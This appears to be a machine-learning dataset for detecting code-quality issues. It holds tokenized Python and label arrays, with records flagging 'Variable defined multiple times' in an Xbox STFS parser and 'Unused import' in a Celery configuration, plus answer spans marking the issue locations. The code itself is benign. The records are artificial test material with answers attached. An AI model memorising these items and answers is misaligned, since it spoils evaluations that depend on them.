"func_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "\\u", "require", "d\\u", "val_", "(_", "dictionary_", ",_", "key_", ",_", "err", "\\u", "msg_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Get", "s", " ", "a", " ", "value", " ", "from", " ", "the", " ", "give", "n", " ", "dictionar", "y", ",", " ", "and", " ", "throw", "s", " ", "an", " ", "exception", " ", "with", " ", "a", "\\", "10", ";", " ", " ", " ", " ", "rele", "van", "t", " ", "error", " ", "message", " ", "if", " ", "the", " ", "value", " ", "is", " ", "Non", "e", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "value_", "=_", "dictionary_", "._", "get_", "(_", "key_", ",_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "value_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Command", "Error_", "(_", "err", "\\u", "msg_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "value_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "manage_", "(_", "command_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Simplif", "ies", " ", "calling", " ", "Dj", "ang", "o", " ", "manage", "ment", " ", "command", "s", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "with_", "cd_", "(_", "env_", "._", "project", "\\u", "root_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "run_", "(_", "\"", "worko", "n", " ", "%", "s", " ", "&&", " ", "python", " ", "manage", ".", "py", " ", "%", "s", "\"_", "%_", "(_", "env_", "._", "project", "\\u", "name_", ",_", "command_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "setup", "\\u", "env_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "deploy", "s_", "=_", "getattr_", "(_", "settings_", ",_", "\"", "DEPLOY", "S", "\"_", ",_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "deploy", "s_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Command", "Error_", "(_", "\"", "DEPLOY", "S", " ", "has", " ", "not", " ", "bee", "n", " ", "defin", "ed", " ", "in", " ", "your", " ", "project", "'", "s", " ", "settings", ".", "py", " ", "file", ".\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "default_", "=_", "get", "\\u", "require", "d\\u", "val_", "(_", "deploy", "s_", ",_", "\"", "default", "\"_", ",_", "\"", "A", " ", "default", " ", "deploy", "ment", " ", "has", " ", "not", " ", "bee", "n", " ", "defin", "ed", " ", "in", " ", "your", " ", "project", "'", "s", " ", "settings", " ", "file", ".\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "domain_", "=_", "get", "\\u", "require", "d\\u", "val_", "(_", "default_", ",_", "\"", "DOM", "AIN", "\"_", ",_", "\"", "DOM", "AIN", " ", "must", " ", "be", " ", "defin", "ed", " ", "for", " ", "your", " ", "default", " ", "deploy", "ment", ".\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "host_", "=_", "get", "\\u", "require", "d\\u", "val_", "(_", "default_", ",_", "\"", "HOST", "\"_", ",_", "\"", "HOST", " ", "must", " ", "be", " ", "defin", "ed", " ", "for", " ", "your", " ", "default", " ", "deploy", "ment", ".\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "name_", "=_", "get", "\\u", "require", "d\\u", "val_", "(_", "default_", ",_", "\"", "NAME", "\"_", ",_", "\"", "NAME", " ", "must", " ", "be", " ", "defin", "ed", " ", "for", " ", "your", " ", "default", " ", "deploy", "ment", ".\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "user_", "=_", "get", "\\u", "require", "d\\u", "val_", "(_", "default_", ",_", "\"", "USER", "\"_", ",_", "\"", "USER", " ", "must", " ", "be", " ", "defin", "ed", " ", "for", " ", "your", " ", "default", " ", "deploy", "ment", ".\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "password_", "=_", "default_", "._", "get_", "(_", "\"", "PASS", "WORD", "\"_", ",_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "branch_", "=_", "default_", "._", "get_", "(_", "\"", "BRANCH", "\"_", ",_", "None_", ")_", "or_", "\"", "master", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Ess", "ential", "s_", "\\u\\u\\uNL\\u\\u\\u_", "env_", "._", "project", "\\u", "domain_", "=_", "domain_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "env_", "._", "hosts_", "=_", "[_", "host_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "env_", "._", "host", "\\u", "string_", "=_", "host_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "env_", "._", "project", "\\u", "name_", "=_", "name_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "env_", "._", "user_", "=_", "user_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "env_", "._", "password_", "=_", "password_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "env_", "._", "project", "\\u", "branch_", "=_", "branch_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "env_", "._", "deploy", "\\u", "time_", "=_", "run_", "(_", "\"", "python", " ", "-", "c", " ", "'", "import", " ", "time", ";", " ", "print", " ", "time", ".", "strf", "time", "(\\\\\"", "%", "Y", "-%", "m", "-%", "d", "-%", "H", "-%", "M", "\\\\\")", ";'", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "env_", "._", "use", "s", "\\u", "south_", "=_", "\"", "south", "\"_", "in_", "settings_", "._", "INSTALLE", "D", "\\u", "APPS_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Helpers_", "\\u\\u\\uNL\\u\\u\\u_", "env_", "._", "deploy", "\\u", "root_", "=_", "os_", "._", "path_", "._", "join_", "(_", "PROJECT", "S", "\\u", "PATH_", ",_", "env_", "._", "project", "\\u", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "env_", "._", "project", "\\u", "root_", "=_", "os_", "._", "path_", "._", "join_", "(_", "PROJECT", "S", "\\u", "PATH_", ",_", "env_", "._", "project", "\\u", "name_", ",_", "env_", "._", "project", "\\u", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "env_", "._", "virtualenv", "\\u", "dir_", "=_", "os_", "._", "path_", "._", "join_", "(_", "VIRTUAL", "ENV", "S", "\\u", "PATH_", ",_", "env_", "._", "project", "\\u", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "script_", "(_", "file", "\\u", "path_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "os_", "._", "path_", "._", "join_", "(_", "DJANGO", "\\u", "DEPLOY", "\\u", "ROOT_", ",_", "\"", "scripts", "\"_", ",_", "file", "\\u", "path_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "template_", "(_", "file", "\\u", "path_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "os_", "._", "path_", "._", "join_", "(_", "DJANGO", "\\u", "DEPLOY", "\\u", "ROOT_", ",_", "\"", "template", "s", "\"_", ",_", "file", "\\u", "path_", ")_" ]
[ 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 0, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2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2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Variable defined multiple times
arkem/py360/py360/stfs.py
[ { "content": " def read_filetable(self, firstblock, numblocks):\n \"\"\" Given the length and start of the filetable return all its data\n \"\"\"\n buf = StringIO()\n info = 0x80\n block = firstblock\n for i in xrange(0, numblocks):\n buf.write(self.read_block(self.fix_blocknum(block), 0x1000))\n blockhash = self.get_blockhash(block)\n if self.table_size_shift > 0 and blockhash.info < 0x80:\n blockhash = self.get_blockhash(block, 1)\n block = blockhash.nextblock\n info = blockhash.info\n return buf.getvalue()", "metadata": "root.STFS.read_filetable", "header": "['class', 'STFS', '(', 'object', ')', ':', '___EOS___']", "index": 76 }, { "content": " def parse_filetable(self):\n \"\"\" Generate objects for all the filelistings \"\"\"\n data = StringIO()\n self.filelistings = []\n self.allfiles = {}\n #for x in range(0, self.filetable_blockcount):\n # data.write(self.read_block(self.filetable_blocknumber + x))\n #data = data.getvalue()\n data = self.read_filetable(self.filetable_blocknumber, self.filetable_blockcount)\n\n for x in range(0, len(data), 0x40): # File records are 0x40 length\n try:\n self.filelistings.append(FileListing(data[x:x+0x40]))\n except AssertionError:\n pass\n for fl in self.filelistings: # Build a dictionary to access filelistings by path\n path_components = [fl.filename]\n a = fl\n while a.pathindex != -1 and a.pathindex < len(self.filelistings):\n try:\n a = self.filelistings[a.pathindex]\n path_components.append(a.filename)\n except IndexError:\n raise AssertionError(\"IndexError: %s %d %d\" % (self.filename, a.pathindex, len(self.filelistings)))\n path_components.append('')\n path_components.reverse()\n self.allfiles[\"/\".join(path_components)] = fl", "metadata": "root.STFS.parse_filetable", "header": "['class', 'STFS', '(', 'object', ')', ':', '___EOS___']", "index": 91 } ]
[ { "span": "info ", "start_line": 80, "start_column": 8, "end_line": 80, "end_column": 12 }, { "span": "data ", "start_line": 93, "start_column": 8, "end_line": 93, "end_column": 12 } ]
[ { "span": "info ", "start_line": 88, "start_column": 12, "end_line": 88, "end_column": 16 }, { "span": "data ", "start_line": 99, "start_column": 8, "end_line": 99, "end_column": 12 } ]
1
true
[ "[CLS]_", "Variable_", "defined_", "multiple_", "times_", "[SEP]_", "class_", "ST", "FS_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "read", "\\u", "filet", "able_", "(_", "self_", ",_", "first", "block_", ",_", "numb", "locks_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", " ", "Give", "n", " ", "the", " ", "length", " ", "and", " ", "start", " ", "of", " ", "the", " ", "filet", "able", " ", "return", " ", "all", " ", "its", " ", "data", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "buf_", "=_", "String", "IO_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "info_", "=_", "0x80_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "block_", "=_", "first", "block_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "i_", "in_", "xrange_", "(_", "0_", ",_", "numb", "locks_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "buf_", "._", "write_", "(_", "self_", "._", "read", "\\u", "block_", "(_", "self_", "._", "fix", "\\u", "blockn", "um_", "(_", "block_", ")_", ",_", "0x1000", "_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "block", "hash_", "=_", "self_", "._", "get", "\\u", "block", "hash_", "(_", "block_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "self_", "._", "table", "\\u", "size", "\\u", "shift_", ">_", "0_", "and_", "block", "hash_", "._", "info_", "<_", "0x80_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "block", "hash_", "=_", "self_", "._", "get", "\\u", "block", "hash_", "(_", "block_", ",_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "block_", "=_", "block", "hash_", "._", "next", "block_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "info_", "=_", "block", "hash_", "._", "info_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "buf_", "._", "getvalue_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "ST", "FS_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "parse", "\\u", "filet", "able_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", " ", "Generate", " ", "object", "s", " ", "for", " ", "all", " ", "the", " ", "filelist", "ings", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "data_", "=_", "String", "IO_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "filelist", "ings_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "all", "files_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "for", " ", "x", " ", "in", " ", "range", "(", "0", ",", " ", "self", ".", "filet", "able", "\\u", "block", "count", "):", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "data", ".", "write", "(", "self", ".", "read", "\\u", "block", "(", "self", ".", "filet", "able", "\\u", "blockn", "umber", " ", "+", " ", "x", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", "data", " ", "=", " ", "data", ".", "getv", "alu", "e", "()", "_", "\\u\\u\\uNL\\u\\u\\u_", "data_", "=_", "self_", "._", "read", "\\u", "filet", "able_", "(_", "self_", "._", "filet", "able", "\\u", "blockn", "umber_", ",_", "self_", "._", "filet", "able", "\\u", "block", "count_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "x_", "in_", "range_", "(_", "0_", ",_", "len_", "(_", "data_", ")_", ",_", "0x40_", ")_", ":_", "#", " ", "File", " ", "record", "s", " ", "are", " ", "0x40", " ", "length_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "filelist", "ings_", "._", "append_", "(_", "File", "Listi", "ng_", "(_", "data_", "[_", "x_", ":_", "x_", "+_", "0x40_", "]_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Assert", "ion", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "fl_", "in_", "self_", "._", "filelist", "ings_", ":_", "#", " ", "Build", " ", "a", " ", "dictionar", "y", " ", "to", " ", "access", " ", "filelist", "ings", " ", "by", " ", "path_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "path", "\\u", "components_", "=_", "[_", "fl_", "._", "filename_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "a_", "=_", "fl_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "while_", "a_", "._", "path", "index_", "!=_", "-_", "1_", "and_", "a_", "._", "path", "index_", "<_", "len_", "(_", "self_", "._", "filelist", "ings_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "a_", "=_", "self_", "._", "filelist", "ings_", "[_", "a_", "._", "path", "index_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "path", "\\u", "components_", "._", "append_", "(_", "a_", "._", "filename_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Index", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "raise_", "Assert", "ion", "Error_", "(_", "\"", "Index", "Error", ":", " ", "%", "s", " ", "%", "d", " ", "%", "d", "\"_", "%_", "(_", "self_", "._", "filename_", ",_", "a_", "._", "path", "index_", ",_", "len_", "(_", "self_", "._", "filelist", "ings_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "path", "\\u", "components_", "._", "append_", "(_", "''_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "path", "\\u", "components_", "._", "reverse_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "all", "files_", "[_", "\"/\"_", "._", "join_", "(_", "path", "\\u", "components_", ")_", "]_", "=_", "fl_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 3, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 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, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
Impactstory/total-impact-webapp/core_celeryconfig.py
[ { "content": "import os\nimport sys\nimport urlparse\nfrom kombu import Exchange, Queue\n\nsys.path.append('.')\n\nredis_url = os.environ.get('REDIS_URL', \"redis://127.0.0.1:6379/\")\nif not redis_url.endswith(\"/\"):\n redis_url += \"/\"\n\nBROKER_URL = redis_url + \"1\" # REDIS_CELERY_TASKS_DATABASE_NUMBER = 1\nCELERY_RESULT_BACKEND = redis_url + \"2\" # REDIS_CELERY_RESULTS_DATABASE_NUMBER = 2\nREDIS_CONNECT_RETRY = True\n\n\n# fanout options will be defaults in future as per http://celery.readthedocs.org/en/latest/getting-started/brokers/redis.html\nBROKER_TRANSPORT_OPTIONS = {'fanout_prefix': True, \n 'fanout_patterns': True, \n 'visibility_timeout': 60, # one minute\n 'max_connections': 100 # max redis connections for tasks. see https://github.com/celery/celery/issues/1350\n }\n\n\nCELERY_DEFAULT_QUEUE = 'core_high'\nCELERY_QUEUES = [\n Queue('core_high', routing_key='core_high'),\n Queue('core_low', routing_key='core_low')\n]\n\n# added because https://github.com/celery/celery/issues/896\nBROKER_POOL_LIMIT = None\n\nCELERY_CREATE_MISSING_QUEUES = True\n\nCELERY_ACCEPT_CONTENT = ['pickle', 'json']\nCELERY_ENABLE_UTC = True\nCELERY_TASK_RESULT_EXPIRES = 60*60*1 # 1 hour\n\nCELERY_ACKS_LATE = True\n\n# remove this, might fix deadlocks as per https://github.com/celery/celery/issues/970\n# CELERYD_MAX_TASKS_PER_CHILD = 100\n\nCELERYD_FORCE_EXECV = True\nCELERY_TRACK_STARTED = True\n\n# https://groups.google.com/forum/#!topic/celery-users/Y_ifty2l6Fc\nCELERYD_PREFETCH_MULTIPLIER=1\n\n# List of modules to import when celery starts.\nCELERY_IMPORTS = (\"core_tasks\",)\n\nCELERY_ANNOTATIONS = {\n 'celery.chord_unlock': {'soft_time_limit': 60*2} # 2 minutes\n}\n\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 } ]
[ { "span": "import urlparse", "start_line": 2, "start_column": 0, "end_line": 2, "end_column": 15 }, { "span": "from kombu import Exchange, Queue", "start_line": 3, "start_column": 0, "end_line": 3, "end_column": 33 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "import_", "os_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "sys_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "urlparse_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "kom", "bu", "_", "import_", "Exchange_", ",_", "Queue_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "sys_", "._", "path_", "._", "append_", "(_", "'.'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "redis", "\\u", "url_", "=_", "os_", "._", "environ_", "._", "get_", "(_", "'", "REDIS", "\\u", "URL", "'_", ",_", "\"", "redis", "://", "127", ".0", ".0", ".1", ":", "6379", "/\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "redis", "\\u", "url_", "._", "endswith_", "(_", "\"/\"_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "redis", "\\u", "url_", "+=_", "\"/\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "BROKER", "\\u", "URL_", "=_", "redis", "\\u", "url_", "+_", "\"", "1", "\"_", "#", " ", "REDIS", "\\u", "CEL", "ER", "Y", "\\u", "TASK", "S", "\\u", "DATA", "BASE", "\\u", "NUMB", "ER", " ", "=", " ", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "CEL", "ER", "Y", "\\u", "RESU", "LT", "\\u", "BACKEND_", "=_", "redis", "\\u", "url_", "+_", "\"", "2", "\"_", "#", " ", "REDIS", "\\u", "CEL", "ER", "Y", "\\u", "RESULTS", "\\u", "DATA", "BASE", "\\u", "NUMB", "ER", " ", "=", " ", "2_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "REDIS", "\\u", "CONNECT", "\\u", "RETRY", "_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "fano", "ut", " ", "options", " ", "will", " ", "be", " ", "default", "s", " ", "in", " ", "future", " ", "as", " ", "per", " ", "http", "://", "celery", ".", "read", "the", "docs", ".", "org", "/", "en", "/", "late", "st", "/", "getti", "ng", "-", "start", "ed", "/", "broker", "s", "/", "redis", ".", "html_", "\\u\\u\\uNL\\u\\u\\u_", "BROKER", "\\u", "TRANSP", "ORT", "\\u", "OPTIONS_", "=_", "{_", "'", "fano", "ut", "\\u", "prefix", "'_", ":_", "True_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "fano", "ut", "\\u", "pattern", "s", "'_", ":_", "True_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "visi", "bilit", "y", "\\u", "timeo", "ut", "'_", ":_", "60_", ",_", "#", " ", "one", " ", "minute_", "\\u\\u\\uNL\\u\\u\\u_", "'", "max", "\\u", "connections", "'_", ":_", "100_", "#", " ", "max", " ", "redis", " ", "connections", " ", "for", " ", "task", "s", ".", " ", "see", " ", "https", "://", "git", "hub", ".", "com", "/", "celery", "/", "celery", "/", "issue", "s", "/", "135", "0_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "CEL", "ER", "Y", "\\u", "DEF", "AUL", "T", "\\u", "QUEUE", "_", "=_", "'", "core", "\\u", "high", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "CEL", "ER", "Y", "\\u", "QUEUE", "S_", "=_", "[_", "\\u\\u\\uNL\\u\\u\\u_", "Queue_", "(_", "'", "core", "\\u", "high", "'_", ",_", "routin", "g", "\\u", "key_", "=_", "'", "core", "\\u", "high", "'_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "Queue_", "(_", "'", "core", "\\u", "low", "'_", ",_", "routin", "g", "\\u", "key_", "=_", "'", "core", "\\u", "low", "'_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "adde", "d", " ", "bec", "aus", "e", " ", "https", "://", "git", "hub", ".", "com", "/", "celery", "/", "celery", "/", "issue", "s", "/", "896", "_", "\\u\\u\\uNL\\u\\u\\u_", "BROKER", "\\u", "POOL", "\\u", "LIMIT_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", 